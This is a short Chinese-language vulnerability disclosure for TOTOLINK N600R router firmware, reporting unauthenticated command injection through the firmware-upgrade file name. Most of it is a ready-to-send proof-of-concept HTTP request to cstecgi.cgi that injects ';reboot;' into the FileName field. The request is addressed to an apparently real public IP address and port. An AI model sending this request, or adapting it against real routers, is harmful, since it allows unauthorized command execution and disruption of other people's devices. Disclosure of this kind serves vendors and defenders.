#### TOTOLINK\_N600R \_V5.3c.5507\_vul

#### 厂商

TOTOLINK

#### 固件

TOTOLINK\_N600R\_V5.3c.5507\_B20171031  
<https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/160/ids/36.html>



#### 描述

TOTOLINK N600R\_V5.3c.5507\_B20171031中存在命令执行漏洞且不需要认证

#### 漏洞

TOTOLINK N600R\_V5.3c.5507\_B20171031升级固件文件名存在命令执行漏洞



#### POC

POST /cgi-bin/cstecgi.cgi HTTP/1.1  
Host: 94.231.182.159:1024  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 126  
Origin: http://94.231.182.159:1024  
Connection: close  
Referer: http://94.231.182.159:1024/login.asp  
Upgrade-Insecure-Requests: 1  
  
{"topicurl":"setting/setUpgradeFW","Flags":"1","FileName":";reboot;","ContentLength":"200"}